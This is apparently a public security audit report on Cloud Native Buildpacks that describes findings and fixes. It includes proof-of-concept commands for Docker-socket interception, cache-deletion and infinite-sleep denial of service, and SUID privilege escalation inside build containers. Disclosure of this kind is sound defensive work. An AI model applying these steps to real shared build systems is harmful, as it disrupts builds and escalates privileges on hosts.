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2. Executive Summary
Note: Metric definition and vulnerability classification are detailed in the reading guide

(chapter 3).

2.1 Context

Quarkslab conducted a security assessment of the Cloud Native Buildpacks (CNB) project which
is part of the CNCF. Cloud Native Buildpacks is a tool which provides means for creating
production-ready container images directly from application source code. The security assess-
ment was done in collaboration with OSTIF in the context of securing widely used open-source
projects. The duration of the assessment was 42 days. In the end of the assessment, Quarkslab
had to deliver a public report.

2.2 Objectives

The goal of the audit was to assist the CNB developers in increasing the security of the project.
The project codebase was assessed on a specific scope agreed with the Cloud Native Build-
packs and the OSTIF teams. This assessment was conducted during an allocated amount of
time in order to find issues and vulnerabilities in the code base, the CNB specification and its
implementation.

2.3 Methodology

To assess the security of Cloud Native Buildpacks, Quarkslab auditors used a mixed approach
of dynamic and static analysis. The static analysis consisted in inspecting the validity of the
source code in order to identify logical vulnerabilities or bad coding practices. The dynamic
analysis, on the other hand, consisted in assessing the correctness and stability of the workflow
of the tool as well as to confirm or reject the hypothesis created during the static analysis.

2.4 Findings Summary

ID Name Perimeter
HIGH-1 Host compromise by overwriting trusted container images Build process
HIGH-2 Cache poisoning by accessing other applications caches Build process
MED-1 Docker in-container privilege escalation Build process
MED-2 Docker permissive inter-container connectivity Build process
LOW-1 Denial-of-Service (DoS) provoked by a race condition Build process
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LOW-2 Denial-of-Service (DoS) provoked by removing build cache
tarballs or altering the OCI image manifest

Build process

LOW-3 Denial-of-Service (DoS) provoked by an unbound execution
time

Build process

LOW-4 Data leak by accessing other applications caches Build process
INFO-1 Specification violation using Docker and user namespaces Build process
INFO-2 Excessive Docker container capabilities Build process

Severity: critical, high, medium, low, info

2.5 Recommendations and Action Plan

ID Recommendations Perimeter
HIGH-1 The CNB platform should prevent users from creating final

application images having the same tags as trusted builders
or as the trusted lifecycle image used when building appli-
cations

Build process

HIGH-2 Buildpacks binaries have to ensure that the build and launch
caches belong to the application which is being built before
processing them or restrict their usage by modifying the
needed permissions

Build process

MED-1 The Docker configuration used to create build con-
tainers should have the security-opt field set to
no-new-privileges:true

Build process

MED-2 Launch the Docker build containers in a separate ephemeral
Docker bridge network [25]

Build process

LOW-1 Introduce a synchronisation mechanism between simultane-
ous builds of applications having the same name

Build process

LOW-2 If a tarball is missing, a solution should be found by either
rebuilding the corresponding tarball or wiping out the cache
in order to continue the containerization process without
errors, or, a second execution should be possible without
errors

Build process

LOW-3 Implement a watchdog [18] or equivalent in order to clean
the used caches and terminate the detect or build
phases after a certain time threshold.

Build process

LOW-4 The platform should ensure that the used caches belong to
the application which created them before starting the build
process. Furthermore, the platform should restrict their use
through permissions

Build process

Ref.: 24-04-1611-REP 5 Quarkslab SAS



INFO-1 Run Docker containers used to build an application with the
flag --userns=host to preserve the security properties of
the CNB specification

Build process

INFO-2 Docker containers used to build an application are launched
with Docker’s default set of capabilities

Build process

Severity: critical, high, medium, low, info

2.6 Conclusion

Quarkslab found several vulnerabilities in the Cloud Native Buildpacks. Most of these issues
were found to be dangerous in the context of Continious Integration and Continious Development
where the CNB tool can be shared between several users and projects. Quarkslab acknowledges
the significant security effort invested in the tool by the developers of CNB. Moreover, Quarkslab
provided leads and strategies on how to fix the vulnerabilities and make this open-source tool
more robust and secure in the future.
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3. Reading Guide
This reading guide describes the different sections present in this report and gives some

insights about the information contained in each of them and how to interpret it.

3.1 Executive summary

The executive summary (chapter 2) presents the results of the assessment in a non-technical
way, summarizing all the findings and explaining the associated risks. For each vulnerability, a
severity level is provided as well as a name or short description, and one or more mitigations,
as shown below.

ID Name Category
CRIT-1 Vulnerability Name #1 Injection
HIGH-4 Vulnerability Name #4 Remote code execution
MED-3 Vulnerability Name #3 Denial of Service
LOW-2 Vulnerability Name #2 Information leak

Severity: critical, high, medium, low, info

Each vulnerability is identified throughout this document by a unique identifier <LEVEL><ID> ,
where ID is a number and LEVEL the severity ( INFO , LOW , MEDIUM , HIGH or CRITICAL ).
Every vulnerability identifier present in the vulnerabilities summary table is a clickable link that
leads to the corresponding technical analysis that details how it was found (and exploited if it
was the case). Severity levels are explained in section 3.4.

The executive summary also provides an action plan with a focus on the identified quick wins,
some specific mitigations that would drastically improve the security of the assessed system.

3.2 Introduction

The introduction (chapter 4) recalls the context in which the assignment has been performed. It
details the objectives set by the customer, the target of evaluation and the expected deliverables.

It also recalls the agreed scope of work including the different assets that must be assessed,
the type of tests the auditors are allowed to perform as well as the type of tests or actions that
are forbidden regarding the context of the assessment.

Last, the final planning of the assignment is detailed in this section recalling when the
assessment started and ended as well as the different key steps and meetings dates.
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3.3 Methodology

The introduction is followed by this section (chapter 5) detailing the methodology followed by
the evaluators and the different steps of the assessment. This section also details the choices
made by the auditors during the execution of the assessment and the reasons why they made
them.

3.4 Metrics definition

This report uses specific metrics to rate the severity, impact and likelihood of each identified
vulnerability.

3.4.1 Impact
The impact is assessed regarding the information an attacker can access by exploiting a vulnera-
bility but also the operational impact such an attack can have. The following table summarizes
the different levels of impact we are using in this report and their meanings in terms of infor-
mation access and availability.

Critical Allows a total compromise of the assessed system, allowing an attacker to read
or modify the data stored in the system as well as altering its behavior.

High Allows an attacker to impact significantly one or more components, giving access
to sensitive data or offering the attacker a possibility to pivot and attack other
connected assets.

Medium Allows an attacker to access some information, or to alter the behavior of the
assessed system with restricted permissions.

Low Allows an attacker to access non-sensitive information, or to alter the behavior
of the assessed system and impact a limited number of users.

3.4.2 Likelihood
The vulnerability likelihood is evaluated by taking the following criteria in consideration:

• Access conditions: the vulnerability may require the attacker to have physical access
to the targeted asset or to be present in the same network for instance, or can be directly
exploited from the Internet.

• Required skills: an attacker may need specific skills to exploit the vulnerability.

• Known available exploit: when a vulnerability has been published and an exploit is
available, the probability a non-skilled attacker would find it and use it is pretty high.

The following table summarizes the different level of vulnerability likelihood:
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Critical The vulnerability is easy to exploit even from an unskilled attacker and has no
specific access conditions.

High The vulnerability is easy to exploit but requires some specific conditions to be
met (specific skills or access).

Medium The vulnerability is not trivial to discover and exploit, requires very specific
knowledge or specific access (internal network, physical access to an asset).

Low The vulnerability is very difficult to discover and exploit, requires highly specific
knowledge or authorized access.

3.4.3 Severity
The severity of a vulnerability is defined by its impact and its likelihood, following the following
table:

Impact

Critical Critical High Medium

Critical High High Medium

High High Medium Low
Likelihood

Medium Medium Low Low
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4. Introduction
Quarkslab conducted a security assessment of the Cloud Native Buildpacks (CNB) project

which is part of the CNCF. Cloud Native Buildpacks is a tool which provides means for creating
production-ready container images directly from application source code. The security assess-
ment was done in collaboration with OSTIF in the context of securing widely used open-source
projects. The duration of the assessment was 42 days. In the end of the assessment, Quarkslab
had to deliver a public report. The following section describes more formally Cloud Native
Buildpacks and gives further details about its internals and its functioning.

4.1 What Is Cloud Native Buildpacks?

Cloud Native Buildpacks (CNB) is a tool, written in Golang, which transforms application code
into an executable production-ready container images following the OCI Image Specification.
An example of an accurate description of CNB can be found on IBM’s page [1].

Cloud Native Buildpacks provide a way of creating production-ready container images
for your applications that come with built-in operability like observability, and security
and governance-relevant aspects like reproducible builds and easy-to-access Bill-of-
Materials.

Compared to other means of creating OCI container images, such as Docker, CNB has the
following advantages:

• Reproducibility - application built on different environments or/and at different times
produce the same OCI images;

• Advanced caching - the implemented caching mechanism significantly speeds up the
build process;

• Modularity - CNB relies on modular units called buildpacks to address different pro-
gramming languages and application frameworks when building a container image;

• Auto-detection - CNB does not require any additional instructions to infer the build
context for an application - buildpacks automatically determine the type of the application;

• Reusability - CNB introduces the notion of a buildpacks store where users can share
their buildpacks with others.

According to the official website [2], the CNB project was created to standardize the usage
of buildpacks and unify two existing buildpacks ecosystems – Heroku and Cloud Foundry:

The Cloud Native Buildpacks project aims to unify the buildpack ecosystems with
a platform-to-buildpack contract that is well-defined and that incorporates learnings
from maintaining production-grade buildpacks for years at both Pivotal and Heroku.

As mentioned above, the project introduces the notions of builder and buildpacks. In addi-
tion, there are also the notions of container host and lifecycle.
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Container host is the container runtime engine used by CNB. The default one is Docker,
but CNB is also compatible with Podman.

Buildpacks are modular components transforming application code into runnable artifacts
by analyzing it, determining and providing its dependencies [3].

Builders are a logical ordered grouping of buildpacks, a lifecycle binary and reference to a
run image [4]. Builders execute the buildpacks through the lifecycle binary.

Lifecycle is the implementation of the CNB specification (more details below). It regroups
five phases which are executed in the following order:

1. analyze - validates registry access for downloading, if necessary, images used by builders.
It also restores metadata that buildpacks may use to optimize the build and export phases
(cache metadata associated to previously built and existing on the container host OCI
images);

2. detect - finds an ordered group of buildpacks to use during the build phase;

3. restore - copies layers from the cache into the build container to eventually speed up the
build by providing already installed dependencies from a previous build;

4. build - transform application source code into runnable artifacts that can be packaged
into a container;

5. export - creates the final OCI image and eventually populates the cache.

The CNB solution integrates the following main components:

• lifecycle - the main component orchestrating the build of an application;

• pack - a CLI tool to operate the lifecycle component.

4.2 Scope of the audit

The scope of the audit was focused on the lifecycle and the pack components. They are both
publicly available in the buildpacks GitHub repository. Third party dependencies and their usage
were out of the scope of the audit. More details on the audit scope will be given in the threat
model.

The Table 1. and Table 2. show the tools versions used during the audit.

Project lifecycle
Repository https://github.com/buildpacks/lifecycle
Version v0.18.5

Table 1. Audit scope details for the lifecycle component
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Project pack
Repository https://github.com/buildpacks/pack
Version v0.33.2

Table 2. Audit scope details for the pack component
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5. Methodology

5.1 Defining a Threat Model

Defining a relevant threat model is the initial step of the audit. It provides an overview of the
project’s work. More importantly, this step identifies the project’s assets and critical function-
alities from which high-level attack scenarios can be extrapolated. This model will guide the
next steps of the audit.

Identifying the critical features and assets of CNB is necessary for the creation of realistic
scenarios. A world-like approach is important to identify the most relevant attack vectors and
vulnerabilities.

5.2 Static analysis

5.2.1 Automated Static Analysis
This part of the audit aims to run several automated security tools on the audited code base.
Most of these tools are open-source and could be integrated in a continuous integration work-
flow. This process aims to identify technical problems related to the used technologies (e.g.:
programming language, libraries, etc.).

5.2.2 Manual Static Analysis
The manual review consists of looking into the code base of the tool. It can be seen as multiple
iterations of the following workflow:

• understanding of the inner workings of various parts of the code base;

• imagining concrete attack scenarios based on the code and the threat model;

• testing the scenarios using tests to validate or reject it.

This process aims to identify logical vulnerabilities.

5.3 Dynamic analysis

Dynamic analysis is mainly done through fuzzing which can also be either manual or auto-
mated. This process again aims to identify logical or implementation-specific vulnerabilities. It
complements the manual review by automating vulnerability tests.
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6. Threat Model

6.1 Overview

Figure 6.1 illustrates the general workflow, as observed by Quarkslab’s auditors, of how Cloud
Native Buildpacks can be used to build an application. It introduces the notions of trusted and
untrusted builders (definitions can be found below).

The identified threats in the current attack model are generalized and abstracted
from the underlying container runtime used by CNB. However, the defined attack
model was tested in the context of the default container runtime by CNB - Docker.
Thus, the implementation of certain aspects of the attack model is specific to the
default container platform.

Figure 6.1: General workflow diagram of an application build process using Cloud Native Build-
packs
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To better understand the above workflow diagram as well as the current security model of
CNB, we should first formally define the meanings of trusted and untrusted workflows.

6.1.1 Trusted and Untrusted Build Workflows

Trusted (resp. untrusted) workflows are the workflows created by the trusted (resp.
untrusted) builders. The main difference between these two entities is the environment in
which they build an OCI image from an application. The images which are produced are,
however, the same.

Trusted Builders

Trusted builders defer from untrusted builders in speed and in the mechanics of how they build
an application. In the case of trusted builders, the CNB creator component, regrouping
the analyze , detect , restore , build and export phases, is executed inside a single
container. The analyze , restore and export phases are executed using UID=0 (root)
while the detect and build phases are executed with an unprivileged UID defined in the
OCI Image Specification [5] of the builder image. This single container is managed by either
Docker or Podman. In the case of Docker (the default container engine used by CNB), the
following elements can be found inside the container:

• launch and build cache volumes — mounted directories (e.g. : Docker volumes) used
to coordinate and speed up the build process and the creation of an app image;

• layers volume — used for storing information during cache analysis, image restoring and
reporting, and buildpack detection and building;

• workspace volume — a volume containing the application source code which is to be
analyzed and built by CNB;

• the Docker socket — used for interaction with the local Docker daemon during the
analyze , restore and export phases.

Untrusted Builders

When building an application using an untrusted builder, the analyze , detect , restore ,
build and export phases are executed in separate containers. This significantly reduces
the speed of the build process but improves its security. The phases requiring access to the Docker
socket ( analyze , restore and export ) are executed using UID=0 inside a container using
a minimal OCI image containing only the lifecycle binary (see refwhat-is-cnb) and other generic
configuration files. In these containers, the following elements can be found:

• launch and build cache volumes

• layers volume

• the Docker socket

The detect and build phases, on the other hand, are executed inside another two sep-
arate containers using the OCI build image of the untrusted builder with an unprivileged UID
defined in this same build image. In addition, all environment variables containing sensitive
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information such as image registry credentials are removed. In these containers, the following
elements can be found:

• layers volume

• workspace volume

By using this separation concept, CNB assures that if an untrusted malicious builders is
used, it could not elevate its privileges or obtain sensitive information through the execution of
the buildpacks which it contains.

Based on the workflow described above and the CNB documentation, Quarkslab auditors
defined an attack model identifying the critical assets of the application, the potential malicious
actors as well as the corresponding attack surface associated with the application.

As Cloud Native Buildpacks relies on Docker or Podman, we assume that the
container platform as well as the OS on which the application is used are safe.
We also assume that the usage of pack (CNB CLI), kpack (K8S operator) and
other similar tools providing platform-specific implementation for Cloud Native
Buildpacks are safe.

6.1.2 Cloud Native Buildpacks Critical Assets
Quarkslab auditors identified the critical assets of CNB as follows:

1. the final application image produced by CNB;

2. any credentials or sensitive data used during the building process (e.g.: registry credentials,
application source code and dependency versions);

3. the container host where CNB executes;

4. the CI/CD in which CNB is executed.

The above assets are manipulated by entities to which we associate roles.

6.1.3 Cloud Native Buildpacks Roles
According to CNB documentation, several roles have been defined which could be used by a
malicious actor:

• developers — the creators of the application which is built by CNB;

• operators — the managers of the CI/CD integration of CNB;

• buildpack authors — the creators of assets used by CNB.

6.1.4 Attack Surface
By taking into account the critical assets and the previously mentioned roles, we identified the
following attack surfaces:
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1. Malicious buildpack.

2. Malicious builder.

3. Malicious application source code which is to be built by CNB.

Based on the 6.1.4, 6.1.3 and 6.1.2, we defined and investigated the following concrete attack
scenarios:

1. Privilege Escalation - a malicious actor is able to escalate its privileges on the container
host using CNB.

2. Cache Poisoning - a malicious actor is able to alter the cache contents and violate the
integrity of other applications being built using CNB.

3. Specification Violation - a malicious actor is able to break the CNB specification and
hence, provoke inconsistent or unwanted behavior.
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7. Static analysis

7.1 Automated Static Analysis

As CNB is written in Go, several Golang linters and static checkers were selected and tested on
the pack and lifecycle components in order to find issues. The following open-source tools have
been selected:

• Staticcheck[6] - Staticcheck is a state-of-the-art linter for the Go programming language.
Using static analysis, it finds bugs and performance issues, offers simplifications, and
enforces style rules.

• govulncheck[7] - Govulncheck reports known vulnerabilities that affect Go code. It uses
static analysis of source code or a binary’s symbol table to narrow down reports to only
those that could affect the application.

• Govet[8] - Vet examines Go source code and reports suspicious constructs, such as Printf
calls whose arguments do not align with the format string. Vet uses heuristics that do
not guarantee all reports are genuine problems, but it can find errors not caught by the
compilers.

No significant problems were detected in this phase of the analysis

7.2 Manual Static Analysis

The manual static analysis part of the audit consisted in analyzing the code source of different
components of Buildpacks. To better understand and assert the security of the product, first
the official documentation and formal specification of the tool were studied [9] [10]. These
resources really helped understanding the different parts of the application. The code source of
the following CNB components was audited:

• Pack v0.33.2 [11] - A CLI tool used to prepare the environment for the execution of the
lifecycle component.

• Lifecycle v0.18.5 [12] - the main component, responsible for building the application
source code into a Docker image.

• Image Library [13] - A library of helpful utilities for working with images.

Due to the time constraints of the assessment, this manual review phase couldn’t
cover the entire code source of the tools so we mainly focused on the different parts
related to the defined threat model 6 and the dynamic analysis part of the audit 8.
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8. Dynamic Analysis
Dynamic analysis is the process of inspecting a software’s behavior and execution in real

time. In more detail, it involves running the software, interacting with it, monitoring its out-
puts, resource usage and behavior with respect to the provided inputs to better understand its
functionalities, performance, and to identify potential vulnerabilities, security weaknesses and
bugs [14].

In this assessment, due to the time constraints of the assessment, the dynamic analysis
has been done manually, and it complements the static analysis. The tests and experiments
performed during the dynamic analysis phase were guided by the hypothesis created in the
threat model 6.

8.1 Manual Dynamic Analysis

8.1.1 Inspection of the application build process

After thoroughly reading the CNB documentation and specification [15], Quarkslab’s auditors
started assessing their validity as well as their security. CNB relies on the usage of Docker or
Podman as container runtimes.

We leveraged the socat binary to create a fake Docker socket and intercept all commu-
nications between pack , the lifecycle binary running within containers and the Docker
daemon:

$ socat -r fulldocker.dump -v UNIX-LISTEN:/var/run/docker.sock ,fork
UNIX-CONNECT:/var/run/original_docker.sock↪→

# -r writes the traffic to a dump file

By using this Man-in-The-Middle technique, we managed to inspect the application build
process and compare its actual implementation with the desired one described in the documen-
tation and in the specification.

The above approach has one drawback - it intercepts communications generated from both
pack and lifecycle . The amount of intercepted data is quite big and cumbersome to
analyze. To segregate the communications initied by pack and lifecycle , we adopted
another strategy - we kept the original Docker socket and we created a new one. Furthermore,
we modified the DOCKER_HOST environment variable, used by pack in a similar manner as
the Docker CLI to communicate with the daemon, to point to the new socket. By doing that,
pack outputs were send to the fake socket while the ones produced by the lifecycle were
send to the original socket. Traffic was again intercepted using socat as follows:

$ socat -r diff_docker_dump -v UNIX-LISTEN:/var/run/fakedocker.sock,fork
UNIX-CONNECT:/var/run/docker.sock↪→

$ export DOCKERHOST=unix:///var/run/fakedocker.sock
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By leveraging the above strategy, we were able to understand in detail how the trusted
and untrusted flows were working, respectively 6.1.1 and 6.1.1. Furthermore, by dynamically
analysing the CNB ecosystem, we were able to formally define the audit’s threat model as
described in the diagram 6.1.

More precisely, we were able to understand the following useful information:

• All of the interactions with the Docker daemon and their exact order;

• The communications initiated by pack and lifecycle distinctively;

• The exact differences between the trusted and the untrusted flows;

• The temporary Docker volumes and ephemeral containers created during the application
build process;

• The OCI runtime configuration of the used containers.

8.1.2 Breaking the availability of CNB
During the assessment, we managed to break the availability of CNB by identifying bugs pro-
voking a Denial-of-Service.

LOW LOW-1 Denial-of-Service (DoS) provoked by a race condition

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled OCI container image name

Description

If two different applications are built with the same name and in the same time, the procedures
of exporting and importing cache contents overlap, thus provoking a crash in the build process
of the application trying to import cache contents

Recommendation

Introduce a synchronisation mechanism between simultaneous builds of applications having
the same name

A race condition was identified in the restore/export procedure of CNB. If two different appli-
cations are built at the same time with the same name, the procedures of exporting ( export ),
the contributed by a set of buildpacks, layers to the cache ( restore ) and importing ( restore )
them back before build, can overlap. This leads to a crash in the build process of the application
trying to import cache contents. Assume an application A for which an instance of the lifecycle
executes the restore phase and an applicationB for which another instance of the lifecycle exe-
cutes the export phase. Both application are built with the same name thus, they share Docker
cache volumes. As there is no synchronisation mechanism between the two build processes of A
and B, there is a small window in the build process of A where a TOCTU (Time-of-Check-time-of-
Use) occurs. In detail, if there is cache content from a previous build, the restore phase of A is go-
ing to read metadata from /cache/committed/io.buildpacks.lifecycle.cache.metadata
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before actually extracting the contents prefixed by sha256 from the /cache/committed/ di-
rectory. If in that small window, B’s export phase can overwrite the contents of the directory
and remove the contents prefixed by sha256 , this triggers a crash when A tries to extract the
contents.

Proof-of-Concept (PoC)

To illustrate the above, we are going to use the Bash script and Java application [16] [17] from
the samples directory. We’re going to first build the Java application normally, so that the cache
gets populated. Then we’re going to build both applications simultaneously:

# first we build normally the Java application using an untrusted builder
# samples/apps/java-maven
$ pack build java-maven -B cnbs/sample-builder:jammy
...
Successfully built image java-maven

We launch a simultaneous build using the same names of the Bash and Java apps:

samples/apps/bash-script
$ pack build java-maven -B cnbs/sample-builder:jammy
Successfully built image java-maven

# samples/apps/java-maven
$ pack build java-maven -B cnbs/sample-builder:jammy
...
Restoring metadata for "samples/java-maven:jdk" from app image
Restoring metadata for "samples/java-maven:maven_m2" from cache
Restoring data for "samples/java-maven:jdk" from cache
Restoring data for "samples/java-maven:maven_m2" from cache
ERROR: failed to restore: restoring data: layer with SHA

'sha256:f8430b0b3620fbb6d4e0cac188e583804e95ba6927be6dd41978d4b588b1d15e' not
found: stat

↪→

↪→

/cache/committed/sha256:
f8430b0b3620fbb6d4e0cac188e583804e95ba6927be6dd41978d4b588b1d15e.tar: no such file

or directory↪→
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LOW LOW-2 Denial-of-Service (DoS) provoked by removing build cache
tarballs or altering the OCI image manifest

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled buildpacks and OCI container image name

Description

It appears that if a tarball referenced in the io.buildpacks.lifecycle.cache.metadata
file is absent on the container filesystem (mounted host volume) during the build process, the
application build process quits without wiping out the cache content

Recommendation

If a tarball is missing, a solution should be found by either rebuilding the corresponding tarball
or wiping out the cache in order to continue the containerization process without errors, or,
a second execution should be possible without errors

During the assessment it was discovered that the CNB build process will quit and leave
the cache unmodified if the file io.buildpacks.lifecycle.cache.metadata is altered or if
a tarball referenced in it is absent from the cache. This file is located in a mounted persistent
volume dedicated to the build cache of the application. As we will demonstrate in LOW-4 and
HIGH-2, if a malicious application is built with the same name as a previously built application
on the same host using CNB, it is possible to leak information from the associated application
build and launch caches and potentially poison them. It is therefore also possible to alter the
contents of these caches and prevent legitimate future builds thus, leading to a Denial-of-Service.

To demonstrate the issue, we build another application called application_two:

$ pack build application_two --path apps/kotlin-gradle/ --builder
docker.io/paketobuildpacks/builder-jammy-tiny:latest↪→

The persistent build cache contains the io.buildpacks.lifecycle.cache.metadata as
expected and five tarball layers which are referenced in it. We arbitrarily delete one of them
and start the build process again:

$ ls /var/lib/docker/volumes/pack-cache-library_application_two_latest-
1ea242d50f55.build/_data/committed↪→

io.buildpacks.lifecycle.cache.metadata
sha256:4d3a94e1323347539c87cc618ab488093ba9ef9ef47e06b2854d6f33a709595d.tar
sha256:59888fa804f14d25de43b08e5ad2ac65a4c0037a2185bdc40eb177cc81727dec.tar
sha256:7e1327d79ba345148fd32249fe89ae1b314c920152280cab4f7325d3c4f5f700.tar
sha256:a9531ea2ccd42a9fd224bea015e006844623b4362d6ee4724afb2027b11cdee7.tar
sha256:fd66cece3b938b72315cc3efd76eecd34efc4f1674464e33a4f9cf1cc57101b6.tar
$
$ rm sha256:fd66cece3b938b72315cc3efd76eecd34efc4f1674464e33a4f9cf1cc57101b6.tar
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$ pack build application_two --path apps/kotlin-gradle/ --builder
docker.io/paketobuildpacks/builder-jammy-tiny:latest↪→

...
[restorer] ERROR: failed to restore: restoring data: layer with SHA

'sha256:fd66cece3b938b72315cc3efd76eecd34efc4f1674464e33a4f9cf1cc57101b6' not
found: stat /cache/committed/sha256:fd66cece3b938b72315cc3efd76-
eecd34efc4f1674464e33a4f9cf1cc57101b6.tar: no such file or directory

↪→

↪→

↪→

ERROR: failed to build: executing lifecycle: failed with status code: 42
$
$ ls /var/lib/docker/volumes/pack-cache-library_application_two_latest-

1ea242d50f55.build/_data/committed↪→

io.buildpacks.lifecycle.cache.metadata
sha256:4d3a94e1323347539c87cc618ab488093ba9ef9ef47e06b2854d6f33a709595d.tar
sha256:59888fa804f14d25de43b08e5ad2ac65a4c0037a2185bdc40eb177cc81727dec.tar
sha256:7e1327d79ba345148fd32249fe89ae1b314c920152280cab4f7325d3c4f5f700.tar
sha256:a9531ea2ccd42a9fd224bea015e006844623b4362d6ee4724afb2027b11cdee7.tar

The build process failed and exit with status code: 42 because the deleted layer has
not been found. The persistent build cache has been left untouched, meaning any additional
attempt will fail exactly like the previous one, causing a Denial-of-Service.

In a CI/CD context, either an administrator would be required to manually wipe the cache
out, or the application name would need to be changed which is not always easier in such
contexts.

LOW LOW-3 Denial-of-Service (DoS) provoked by an unbound execution
time

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled buildpacks or application build process

Description

There is no mechanism to prevent infinite execution of the detect and build phases in the
case of a erroneous or malicious buildpack, or any other phase in the case of bug in lifecycle
component. This could potentially provoke a denial-of-service in a CI/CD context.

Recommendation

Implement a watchdog [18] or equivalent in order to clean the used caches and terminate the
detect or build phases after a certain time threshold.

To demonstrate the issue, we take the bash-script sample application and modify the
detect script of the custom buildpack bash-script-buildpack which is included with it.
We add a sleep command which is going to pause the execution for a long amount of time:

#!/usr/bin/env bash
set -eo pipefail

# 1. CHECK IF APPLICABLE
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if [[ ! -f "app.sh" ]]; then
exit 100

fi

echo "---> Hello Bash Script buildpack"
sleep 999999999

By starting the build process of the above application, the modified buildpack’s detect
phase blocks the build process for the specified amount of time:

$ sudo pack build endless_build --path apps/bash-script/ --builder
docker.io/paketobuildpacks/builder-jammy-tiny:latest↪→

latest: Pulling from paketobuildpacks/builder-jammy-tiny
Digest: sha256:cb74e14d80933d4de5a8546f2a7c3dd11337a343cec1e925bd45dafacea9573b
Status: Image is up to date for paketobuildpacks/builder-jammy-tiny:latest
latest: Pulling from paketobuildpacks/run-jammy-tiny
Digest: sha256:0dbd330fcada91053ffa8fc9b8533c4a4e1e23efbb46d0438ea92abf541fb272
Status: Image is up to date for paketobuildpacks/run-jammy-tiny:latest
0.19.3: Pulling from buildpacksio/lifecycle
Digest: sha256:3184c0c4028b6ca18e851388f3dd54c10fcaea5e6f1e43cf660d0647be69d6cf
Status: Image is up to date for buildpacksio/lifecycle:0.19.3
===> ANALYZING
[analyzer] Image with name "endless_build" not found
===> DETECTING

8.1.3 Analysis of the used OCI runtime configuration

The OCI (Open Container Initiative) runtime specification defines a standard on how to run
applications inside containers. It defines how a container process should be run by low-level
container runtimes (eg: runc, gVisor). More details can be found on the GitHub page of the
specification [19]. The dynamic analysis phases consisted of analysing the correct configuration
with respect to the specification following several open source security and container hardening
guides such as OWASP [20]. During this phase of the analysis several problems were identified.

MEDIUM MED-1 Docker in-container privilege escalation

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled buildpacks and builder

Description

The Docker configuration used to create build containers, allows the container processes inside
them to escalate their privileges using SUID/SGID binaries

Recommendation

The Docker configuration used to create build containers should have the security-opt
field set to no-new-privileges:true
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During the audit, it was discovered that Docker containers, used for building an application
(or running the five phases - analyze, detect, restore, build and export), were all configured to
run with the SecurityOpt flag set to label=disable . This flag is used to enable or disable
security mechanisms such as Seccomp, SELinux or AppArmor [21] [22] [23]. We think that the
flag was set to this value to allow a container processes to communicate with a mounted Docker
socket (during the analyze, restore and export phases) by disabling the default SELinux profile
applied by the Docker engine.

This Docker container configuration allows a privilege escalation for a container process
through the usage of SUID/SGID binaries. In the case of untrusted builders, this seems to only
violate the CNB specification [15]. In the case of trusted builders, however, this could result in
a container breakout and in a compromise of the container engine’s host.

Proof-of-Concept (PoC)

To illustrate the above, let’s first confirm that the process executing the build phase is un-
privileged (UID != 0). To do that, we are going to use the samples directory and we are going
to modify the build script of the Bash buildpack as follows:

#!/usr/bin/env bash
set -eo pipefail

echo "---> Bash Script buildpack"

# 1. INPUT ARGUMENTS
layers_dir=$1

# 2. SET DEFAULT START COMMAND
cat >> "${layers_dir}/launch.toml" <<EOL
[[processes]]
type = "web"
command = ["./app.sh"]
default = true
EOL
# SHOW THE CURRENT UID
id

The above script simply extends the original contents of the file by showing the UID :

$ pack build --pull-policy never quarkslab --builder cnbs/sample-builder:jammy
===> ANALYZING
...
===> BUILDING
[builder] Timer: Builder started at 2024-03-21T11:47:00Z
[builder] ---> Bash Script buildpack
[builder]
[builder] Here are the contents of the current working directory:
[builder] uid=1000(cnb) gid=1000(cnb) groups=1000(cnb)
[builder] Timer: Builder ran for 31.104671ms and ended at 2024-03-21T11:47:00Z
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...
Successfully built image quarkslab

The above output effectively shows that the build phase is executed under UID=1000 (defined
in the OCI image-spec [5] of the builder image). To simulate a misconfigured builder, we
are going to use the same cnbs/sample-builder:jammy container image but modify it using
docker commit to make it include a SETUID binary:

$ docker run -it --rm cnbs/sample-builder:jammy
cnb@efd5c389bba0:/layers$ #
# detached TTY from the container
# run another process in the container with UID=0 to add SUID bit to the id binary
$ docker exec --user 0 -it ef /bin/bash
$ chmod u+s /bin/id
root@efd5c389bba0:/layers#
exit
$ docker container commit efd5c389bba0 cnbs/sample-builder:jammy
sha256:8f401c63f9cd68e1821526b142a94cd909cac8da0f5ac8a51f137ea7e11ae630
$ docker rm -f efd5c389bba0
# to use the previously committed image in pack, we should redefine the image pull

policy↪→

$ pack build --pull-policy never quarkslab --builder cnbs/sample-builder:jammy
===> ANALYZING
...
===> BUILDING
[builder] Timer: Builder started at 2024-03-21T12:00:38Z
[builder] ---> Bash Script buildpack
[builder]
[builder] Here are the contents of the current working directory:
[builder] uid=1000(cnb) gid=1000(cnb) euid=0(root) groups=1000(cnb)
[builder] Timer: Builder ran for 36.480747ms and ended at 2024-03-21T12:00:38Z
===> EXPORTING
...
Successfully built image quarkslab

From the above output, one can see that the process executing build phase has elevated its
privileges obtaining EUID=0 thus, violating the CNB specification.

INFO INFO-1 Specification violation using Docker and user namespaces

Perimeter Build process

Description

Docker containers used to build an application are unaware of the possible underlying usage
of user namespaces by the daemon which could lead to violation of the security properties of
the CNB specification

Recommendation

Run Docker containers used to build an application with the flag --userns=host to preserve
the security properties of the CNB specification
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User namespaces is a Linux feature that allows to remap UIDs of processes inside containers
to different UIDs of the host [24]. By doing that, additional capabilities could be added to
the container processes which however, are limited and only valid inside the scope of the user
namespace (inside the container). The CNB specification divides the build phases into two
categories - privileged and unprivileged depending on the privileges they need and the actions
they perform (eg: communicating with the Docker daemon through the Docker socket). This
separation can be violated with the usage of user namespaces. In the case of a default non-
rootless Docker installation, and the current implementation of CNB, the specification can only
be applied if user namespaces are not used by the daemon. The specification does not explicitly
defines which user and with respect to which namespace is considered privileged thus, we consider
that privileged refers to the user with UID=0 in the host namespace and not, for example, a
user which could communicate with the Docker daemon through the Docker socket (member of
the Docker group). With the above assumption, we found that the CNB build containers are
unaware of the possible underlying user remapping which could invert the roles of privileged
and unprivileged container users.

Proof-of-Concept (PoC)

To illustrate the above, we first should see what happens when trying to execute a build phase
from within a builder container in a Docker environment where the process runs with UID=0
and where user namespace is not used :

$ docker run -it --user 0 --rm cnbs/sample-builder:jammy /bin/bash
root@59356f80fbd0:/layers# ls
root@59356f80fbd0:/layers# /cnb/lifecycle/builder
Warning: Platform requested deprecated API '0.3'
Warning: CNB_PLATFORM_API is unset; using Platform API version '0.3'
